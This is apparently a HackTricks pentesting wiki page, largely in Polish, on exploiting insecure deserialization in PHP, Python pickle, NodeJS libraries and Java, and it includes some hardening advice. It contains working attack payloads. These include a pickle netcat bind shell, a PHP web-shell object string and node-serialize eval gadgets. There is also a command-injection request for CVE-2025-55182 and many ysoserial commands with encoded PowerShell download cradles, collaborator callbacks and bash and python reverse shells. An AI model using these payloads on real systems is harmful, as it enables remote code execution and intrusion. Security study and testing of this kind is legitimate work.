Deserialization

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Podstawowe informacje

Serialization jest rozumiana jako metoda konwertowania obiektu na format, który można zachować, w celu przechowywania obiektu lub przesłania go jako część procesu komunikacji. Technika ta jest powszechnie stosowana, aby zapewnić możliwość odtworzenia obiektu w późniejszym czasie, zachowując jego strukturę i stan.

Deserialization, z kolei, jest procesem odwrotnym do serialization. Polega na wzięciu danych, które zostały sformatowane w określony sposób, i odtworzeniu ich z powrotem w obiekt.

Deserialization może być niebezpieczny, ponieważ potencjalnie pozwala atakującym manipulować zserializowanymi danymi w celu wykonania złośliwego kodu lub powodować nieoczekiwane zachowanie aplikacji podczas procesu odtwarzania obiektu.

PHP

W PHP podczas procesów serializacji i deserializacji wykorzystywane są konkretne magiczne metody:

  • __sleep: Wywoływana, gdy obiekt jest serializowany. Metoda ta powinna zwracać tablicę nazw wszystkich właściwości obiektu, które mają być serializowane. Zazwyczaj używana do zatwierdzania oczekujących danych lub wykonywania podobnych zadań porządkowych.
  • __wakeup: Wywoływana podczas deserializacji obiektu. Służy do przywrócenia połączeń z bazą danych, które mogły zostać utracone podczas serializacji, oraz do wykonywania innych zadań inicjalizacyjnych.
  • __unserialize: Ta metoda jest wywoływana zamiast __wakeup (jeśli istnieje) podczas deserializacji obiektu. Zapewnia większą kontrolę nad procesem deserializacji w porównaniu do __wakeup.
  • __destruct: Ta metoda jest wywoływana, gdy obiekt ma zostać zniszczony lub gdy skrypt się zakończy. Zazwyczaj używana do zadań porządkowych, takich jak zamykanie uchwytów plików czy połączeń z bazą danych.
  • __toString: Ta metoda pozwala traktować obiekt jako string. Może być używana do odczytu pliku lub innych zadań opartych na wywołaniach funkcji w jej wnętrzu, skutecznie dostarczając tekstową reprezentację obiektu.
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

If you look to the results you can see that the functions __wakeup and __destruct are called when the object is deserialized. Note that in several tutorials you will find that the __toString function is called when trying yo print some attribute, but apparently that’s not happening anymore.

Warning

Metoda __unserialize(array $data) jest wywoływana zamiast __wakeup() jeśli zostanie zaimplementowana w klasie. Pozwala ona na unserializowanie obiektu przez przekazanie zserializowanych danych jako tablicy. Możesz użyć tej metody do unserializowania właściwości i wykonania niezbędnych czynności podczas deserializacji.

class MyClass {
   private $property;

   public function __unserialize(array $data): void {
       $this->property = $data['property'];
       // Perform any necessary tasks upon deserialization.
   }
}

You can read an explained PHP example here: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, here https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf or here https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Deserial + Autoload Classes

You could abuse the PHP autoload functionality to load arbitrary php files and more:

PHP - Deserialization + Autoload Classes

Laravel Livewire Hydration Chains

Livewire 3 synthesizers can be coerced into instantiating arbitrary gadget graphs (with or without APP_KEY) to reach Laravel Queueable/SerializableClosure sinks:

Livewire Hydration Synthesizer Abuse

Serializing Referenced Values

If for some reason you want to serialize a value as a reference to another value serialized you can:

<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

Zapobieganie PHP Object Injection przy użyciu allowed_classes

[!INFO] Wsparcie dla drugiego argumentu unserialize() (tablica $options) zostało dodane w PHP 7.0. W starszych wersjach funkcja akceptuje tylko zserializowany string, co uniemożliwia ograniczenie, które klasy mogą zostać zinstancjonowane.

unserialize() będzie tworzyć instancję każdej klasy, którą znajdzie w zserializowanym strumieniu, chyba że zostanie poinformowana inaczej. Od PHP 7 zachowanie można ograniczyć za pomocą opcji allowed_classes:

// NEVER DO THIS – full object instantiation
$object = unserialize($userControlledData);

// SAFER – disable object instantiation completely
$object = unserialize($userControlledData, [
'allowed_classes' => false    // no classes may be created
]);

// Granular – only allow a strict white-list of models
$object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);

Jeśli allowed_classes zostanie pominięte lub kod jest uruchamiany na PHP < 7.0, wywołanie staje się niebezpieczne, ponieważ atakujący może przygotować payload, który nadużywa metody magiczne takie jak __wakeup() lub __destruct(), aby osiągnąć Remote Code Execution (RCE).

Przykład z życia: Everest Forms (WordPress) CVE-2025-52709

Wtyczka WordPress Everest Forms ≤ 3.2.2 próbowała być defensywna, stosując pomocniczy wrapper, ale zapomniano o starszych wersjach PHP:

function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
// SAFE branch (PHP ≥ 7.1)
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options);
}
// DANGEROUS branch (PHP < 7.1)
return @unserialize(trim($data));
}
return $data;
}

Na serwerach, które wciąż działały na PHP ≤ 7.0, ten drugi przypadek prowadził do klasycznego PHP Object Injection, gdy administrator otworzył złośliwe przesłanie formularza. Minimalny exploit payload mógł wyglądać następująco:

O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}

Gdy administrator zobaczył wpis, obiekt został zainstancjonowany i SomeClass::__destruct() zostało wykonane, skutkując wykonaniem dowolnego kodu.

Wnioski

  1. Zawsze podawaj ['allowed_classes' => false] (lub ścisłą białą listę) przy wywoływaniu unserialize().
  2. Przeprowadzaj audyt wrapperów defensywnych – często zapominają o gałęziach dla starszych wersji PHP.
  3. Aktualizacja do PHP ≥ 7.x sama w sobie nie wystarcza: opcja nadal musi być podana jawnie.

PHPGGC (ysoserial for PHP)

PHPGGC może pomóc w generowaniu payloadów do nadużywania deserializacji PHP.
Zauważ, że w wielu przypadkach nie znajdziesz sposobu na nadużycie deserializacji w kodzie źródłowym aplikacji, ale możesz być w stanie wykorzystać kod zewnętrznych rozszerzeń PHP.
Dlatego, jeśli możesz, sprawdź phpinfo() serwera i przeszukaj Internet (a nawet w gadgets PHPGGC) pod kątem możliwych gadgetów, które mógłbyś wykorzystać.

phar:// metadata deserialization

Jeśli znalazłeś LFI, które jedynie czyta plik, a nie wykonuje zawartego w nim kodu PHP, na przykład używając funkcji takich jak file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize(). Możesz spróbować wykorzystać deserializację, która zachodzi podczas odczytywania pliku przy użyciu protokołu phar.
Po więcej informacji przeczytaj następujący post:

phar:// deserialization

Python

Pickle

Gdy obiekt zostanie unpickled, funkcja ___reduce___ zostanie wykonana.
W przypadku eksploatacji serwer może zwrócić błąd.

import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

Zanim sprawdzisz technikę bypass, spróbuj użyć print(base64.b64encode(pickle.dumps(P(),2))), aby wygenerować obiekt kompatybilny z python2, jeśli uruchamiasz python3.

Aby uzyskać więcej informacji o ucieczce z pickle jails sprawdź:

Bypass Python sandboxes

Yaml & jsonpickle

Na poniższej stronie przedstawiono technikę wykorzystania niebezpiecznej deserializacji w bibliotekach YAML dla Pythona i zamieszczono narzędzie, które może być użyte do wygenerowania ładunku deserializacyjnego RCE dla Pickle, PyYAML, jsonpickle and ruamel.yaml:

Python Yaml Deserialization

Class Pollution (Python Prototype Pollution)

Class Pollution (Python’s Prototype Pollution)

NodeJS

JS Magic Functions

JS doesn’t have “magic” functions like PHP or Python that are going to be executed just for creating an object. But it has some functions that are frequently used even without directly calling them such as toString, valueOf, toJSON.
Jeśli przy deserializacji można je nadużyć, można skompromitować te funkcje, aby wykonać inny kod (potencjalnie abusing prototype pollutions) i uruchomić dowolny kod, gdy zostaną wywołane.

Another “magic” way to call a function without calling it directly is by compromising an object that is returned by an async function (promise). Because, if you transform that return object in another promise with a property called “then” of type function, it will be executed just because it’s returned by another promise. Follow this link for more info.

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}

async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__ and prototype pollution

Jeśli chcesz poznać tę technikę zobacz poniższy tutorial:

NodeJS - proto & prototype Pollution

node-serialize

Ta biblioteka pozwala serializować funkcje. Przykład:

var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)

Zserializowany obiekt będzie wyglądał następująco:

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

W przykładzie widać, że gdy funkcja jest serializowana, flaga _$$ND_FUNC$$_ zostaje dołączona do zserializowanego obiektu.

W pliku node-serialize/lib/serialize.js możesz znaleźć tę samą flagę i sposób jej użycia w kodzie.

Jak widać w ostatnim fragmencie kodu, jeśli flaga zostanie znaleziona, do deserializacji funkcji używany jest eval, więc w praktyce dane od użytkownika są używane wewnątrz funkcji eval.

Jednak samo serializowanie funkcji jej nie uruchomi, ponieważ konieczne byłoby, aby jakaś część kodu wywoływała y.rce w naszym przykładzie, a to jest bardzo mało prawdopodobne.
Można jednak po prostu zmodyfikować zserializowany obiekt, dodając nawiasy, aby automatycznie uruchomić zserializowaną funkcję podczas deserializacji obiektu.
W następnym fragmencie kodu zwróć uwagę na ostatni nawias i na to, jak funkcja unserialize automatycznie wykona kod:

var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)

Jak już wcześniej wskazano, ta biblioteka pobierze kod po _$$ND_FUNC$$_ i wykona go używając eval. Dlatego, aby auto-execute code możesz usunąć część tworzącą funkcję oraz ostatni nawias i just execute a JS oneliner jak w poniższym przykładzie:

var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)

Możesz find here więcej informacji o tym, jak wykorzystać tę podatność.

funcster

Godnym uwagi aspektem funcster jest niedostępność standardowych wbudowanych obiektów; znajdują się one poza dostępnym zakresem. To ograniczenie uniemożliwia wykonanie kodu, który próbuje wywołać metody na obiektach wbudowanych, prowadząc do wyjątków takich jak “ReferenceError: console is not defined” gdy polecenia takie jak console.log() lub require(something) są używane.

Mimo tego ograniczenia możliwe jest przywrócenie pełnego dostępu do globalnego kontekstu, łącznie ze wszystkimi standardowymi wbudowanymi obiektami, za pomocą określonego podejścia. Wykorzystując bezpośrednio globalny kontekst, można obejść to ograniczenie. Na przykład dostęp można przywrócić używając następującego fragmentu:

funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)

For more information read this source.

serialize-javascript

Pakiet serialize-javascript został zaprojektowany wyłącznie do celów serializacji i nie zawiera wbudowanych możliwości deserializacji. Użytkownicy są odpowiedzialni za zaimplementowanie własnej metody deserializacji. Oficjalny przykład sugeruje bezpośrednie użycie eval do deserializacji zserializowanych danych:

function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}

Jeśli ta funkcja jest używana do deserialize obiektów, możesz easily exploit it:

var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

Dla więcej informacji przeczytaj to źródło.

Cryo library

W następnych stronach znajdziesz informacje o tym, jak wykorzystać tę bibliotekę do wykonania dowolnych poleceń:

React Server Components / react-server-dom-webpack Server Actions — nadużycie (CVE-2025-55182)

React Server Components (RSC) opierają się na react-server-dom-webpack (RSDW) do dekodowania zgłoszeń server action wysyłanych jako multipart/form-data. Każde zgłoszenie akcji zawiera:

  • $ACTION_REF_<n> części, które odwołują się do wywoływanej akcji.
  • $ACTION_<n>:<m> części, których ciało to JSON, np. {"id":"module-path#export","bound":[arg0,arg1,...]}.

W wersji 19.2.0 helper decodeAction(formData, serverManifest) ślepo ufa zarówno id string (wybierający, który eksport modułu wywołać), jak i bound array (argumenty). Jeśli atakujący ma dostęp do endpointu, który przekazuje żądania do decodeAction, może wywołać dowolną eksportowaną server action z parametrami kontrolowanymi przez atakującego, nawet bez front-endu React (CVE-2025-55182). Przepis end-to-end to:

  1. Learn the action identifier. Bundle output, error traces or leaked manifests typically reveal strings like app/server-actions#generateReport.
  2. Recreate the multipart payload. Craft a $ACTION_REF_0 part and a $ACTION_0:0 JSON body carrying the identifier and arbitrary arguments.
  3. Let decodeAction dispatch it. The helper resolves the module from serverManifest, imports the export, and returns a callable that the server immediately executes.

Example payload hitting /formaction:

POST /formaction HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----BOUNDARY

------BOUNDARY
Content-Disposition: form-data; name="$ACTION_REF_0"

------BOUNDARY
Content-Disposition: form-data; name="$ACTION_0:0"

{"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}
------BOUNDARY--

Albo za pomocą curl:

curl -sk -X POST http://target/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}'

Tablica bound bezpośrednio wypełnia parametry server-action. W podatnym labie gadget wygląda tak:

const { exec } = require("child_process");
const util = require("util");
const pexec = util.promisify(exec);

async function generateReport(project, format) {
const cmd = `node ./scripts/report.js --project=${project} --format=${format}`;
const { stdout } = await pexec(cmd);
return stdout;
}

Dostarczenie format = "pdf & whoami" powoduje, że /bin/sh -c uruchamia legalny generator raportów, a następnie whoami, a oba wyjścia są zwracane w odpowiedzi JSON akcji. Any server action that wraps filesystem primitives, database drivers or other interpreters can be abused the same way once the attacker controls the bound data.

An attacker never needs a real React client—any HTTP tool that emits the $ACTION_* multipart shape can directly call server actions and chain the resulting JSON output into an RCE primitive.

Java - HTTP

W Javie, deserialization callbacks are executed during the process of deserialization. To wykonanie może zostać wykorzystane przez atakujących, którzy tworzą złośliwe payloads wywołujące te callbacks, co może prowadzić do wykonania szkodliwych działań.

Fingerprints

White Box

Aby zidentyfikować potencjalne serialization vulnerabilities w kodzie, wyszukaj:

  • Klasy, które implementują interfejs Serializable.
  • Użycie java.io.ObjectInputStream, funkcji readObject, readUnshare.

Zwróć szczególną uwagę na:

  • XMLDecoder używany z parametrami definiowanymi przez zewnętrznych użytkowników.
  • Metoda fromXML w XStream, zwłaszcza jeśli wersja XStream jest mniejsza lub równa 1.46, ponieważ jest podatna na problemy z serializacją.
  • ObjectInputStream w połączeniu z metodą readObject.
  • Implementacja metod takich jak readObject, readObjectNodData, readResolve, lub readExternal.
  • ObjectInputStream.readUnshared.
  • Ogólne użycie Serializable.

Black Box

W testach black box szukaj konkretnych signatures or “Magic Bytes”, które wskazują na java serialized objects (pochodzące z ObjectInputStream):

  • Wzorzec heksadecymalny: AC ED 00 05.
  • Wzorzec Base64: rO0.
  • Nagłówki odpowiedzi HTTP z Content-type ustawionym na application/x-java-serialized-object.
  • Wzorzec heksadecymalny wskazujący na wcześniejszą kompresję: 1F 8B 08 00.
  • Wzorzec Base64 wskazujący na wcześniejszą kompresję: H4sIA.
  • Pliki webowe z rozszerzeniem .faces i parametr faces.ViewState. Odkrycie tych wzorców w aplikacji webowej powinno skłonić do analizy opisanej w post about Java JSF ViewState Deserialization.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

Sprawdź, czy podatne

Jeśli chcesz dowiedzieć się, jak działa Java Deserialized exploit powinieneś zapoznać się z Basic Java Deserialization, Java DNS Deserialization, and CommonsCollection1 Payload.

Deserializacja ograniczona przez SignedObject i pre-auth reachability

Nowoczesne bazy kodu czasami opakowują deserializację w java.security.SignedObject i weryfikują podpis przed wywołaniem getObject() (które deserializuje wewnętrzny obiekt). To uniemożliwia użycie dowolnych top-level gadget classes, ale nadal może być wykorzystywalne, jeśli atakujący uzyska prawidłowy podpis (np. kompromitacja klucza prywatnego lub signing oracle). Dodatkowo, obiegi obsługi błędów mogą wystawiać tokeny powiązane z sesją dla nieuwierzytelnionych użytkowników, odsłaniając w ten sposób inaczej chronione sinks pre-auth.

For a concrete case study with requests, IoCs, and hardening guidance, see:

Java Signedobject Gated Deserialization

White Box Test

Możesz sprawdzić, czy zainstalowana jest jakaś aplikacja z znanymi podatnościami.

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

Możesz spróbować sprawdzić wszystkie biblioteki znane jako podatne i dla których Ysoserial może dostarczyć exploit. Albo możesz sprawdzić biblioteki wskazane na Java-Deserialization-Cheat-Sheet.
Możesz też użyć gadgetinspector do wyszukania możliwych gadget chains, które można wykorzystać.
Uruchamiając gadgetinspector (po zbudowaniu) nie zwracaj uwagi na masę warnings/errors, przez które przechodzi — poczekaj aż skończy. Zapisze wszystkie wyniki w gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Zwróć uwagę, że gadgetinspector won’t create an exploit and it may indicate false positives.

Test Black Box

Using the Burp extension gadgetprobe you can identify which libraries are available (and even the versions). With this information it could be easier to choose a payload to exploit the vulnerability.
Read this to learn more about GadgetProbe.
GadgetProbe is focused on ObjectInputStream deserializations.

Using Burp extension Java Deserialization Scanner you can identify vulnerable libraries exploitable with ysoserial and exploit them.
Read this to learn more about Java Deserialization Scanner.
Java Deserialization Scanner is focused on ObjectInputStream deserializations.

You can also use Freddy to detect deserializations vulnerabilities in Burp. This plugin will detect not only ObjectInputStream related vulnerabilities but also vulns from Json an Yml deserialization libraries. In active mode, it will try to confirm them using sleep or DNS payloads.
You can find more information about Freddy here.

Serialization Test

Nie chodzi tylko o sprawdzenie, czy serwer używa jakiejś podatnej biblioteki. Czasami możesz być w stanie zmienić dane wewnątrz zserializowanego obiektu i obejść pewne kontrole (np. przyznać sobie uprawnienia administratora w aplikacji webowej).
Jeśli znajdziesz zserializowany obiekt Java wysyłany do aplikacji webowej, you can use SerializationDumper to print in a more human readable format the serialization object that is sent. Znając dane, które wysyłasz, łatwiej będzie je zmodyfikować i obejść pewne kontrole.

Exploit

ysoserial

The main tool to exploit Java deserializations is ysoserial (download here). You can also consider using ysoseral-modified which will allow you to use complex commands (with pipes for example).
Note that this tool is focused on exploiting ObjectInputStream.
I would start using the “URLDNS” payload before a RCE payload to test if the injection is possible. Anyway, note that maybe the “URLDNS” payload is not working but other RCE payload is.

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

Tworząc payload dla java.lang.Runtime.exec() nie możesz używać znaków specjalnych takich jak “>” czy “|” do przekierowania wyjścia wykonania, “$()” do uruchamiania poleceń lub nawet przekazywać argumentów do polecenia rozdzielonych spacjami (możesz zrobić echo -n "hello world" ale nie możesz zrobić python2 -c 'print "Hello world"'). Aby poprawnie zakodować payload możesz use this webpage.

Możesz użyć poniższego skryptu, aby wygenerować all the possible code execution payloads dla Windows i Linux, a następnie przetestować je na podatnej stronie:

import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

Możesz użyć https://github.com/pwntester/SerialKillerBypassGadgetCollection wraz z ysoserial, aby stworzyć więcej exploitów. Więcej informacji o tym narzędziu znajduje się w slajdach prezentacji, w której narzędzie zostało przedstawione: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec można użyć do generowania payloadów do exploitowania różnych bibliotek serializacji Json i Yml w Java.
Aby skompilować projekt, musiałem dodać te zależności do pom.xml:

<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

Zainstaluj maven, i skompiluj projekt:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

Przeczytaj więcej o tej bibliotece Java JSON: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Laboratoria

Dlaczego

Java używa serializacji w wielu celach, na przykład:

  • HTTP requests: Serializacja jest szeroko stosowana przy zarządzaniu parametrami, ViewState, cookies itd.
  • RMI (Remote Method Invocation): Protokół Java RMI, który w całości opiera się na serializacji, jest kamieniem węgielnym komunikacji zdalnej w aplikacjach Java.
  • RMI over HTTP: Ta metoda jest często używana przez Java-based thick client web applications, wykorzystując serializację do całej komunikacji obiektów.
  • JMX (Java Management Extensions): JMX wykorzystuje serializację do przesyłania obiektów przez sieć.
  • Custom Protocols: W Java standardową praktyką jest przesyłanie surowych obiektów Java, co zostanie zademonstrowane w nadchodzących exploit examples.

Zapobieganie

Obiekty transient

Klasa, która implementuje Serializable, może oznaczyć jako transient dowolny obiekt wewnątrz klasy, który nie powinien być serializowany. Na przykład:

public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

Unikaj Serialization klasy, która musi implementować interfejs Serializable

W scenariuszach, w których niektóre obiekty muszą implementować interfejs Serializable z powodu hierarchii klas, istnieje ryzyko niezamierzonej deserialization. Aby temu zapobiec, upewnij się, że te obiekty są non-deserializable poprzez zdefiniowanie final metody readObject(), która konsekwentnie rzuca wyjątek, jak pokazano poniżej:

private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Wzmacnianie bezpieczeństwa deserializacji w Java

Dostosowywanie java.io.ObjectInputStream jest praktycznym podejściem do zabezpieczenia procesów deserializacji. Ta metoda jest odpowiednia, gdy:

  • Kod deserializacji jest pod Twoją kontrolą.
  • Klasy oczekiwane podczas deserializacji są znane.

Nadpisz metodę resolveClass(), aby ograniczyć deserializację tylko do dozwolonych klas. To zapobiega deserializacji jakiejkolwiek klasy z wyjątkiem tych wyraźnie dozwolonych, jak w poniższym przykładzie, który ogranicza deserializację tylko do klasy Bicycle:

// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

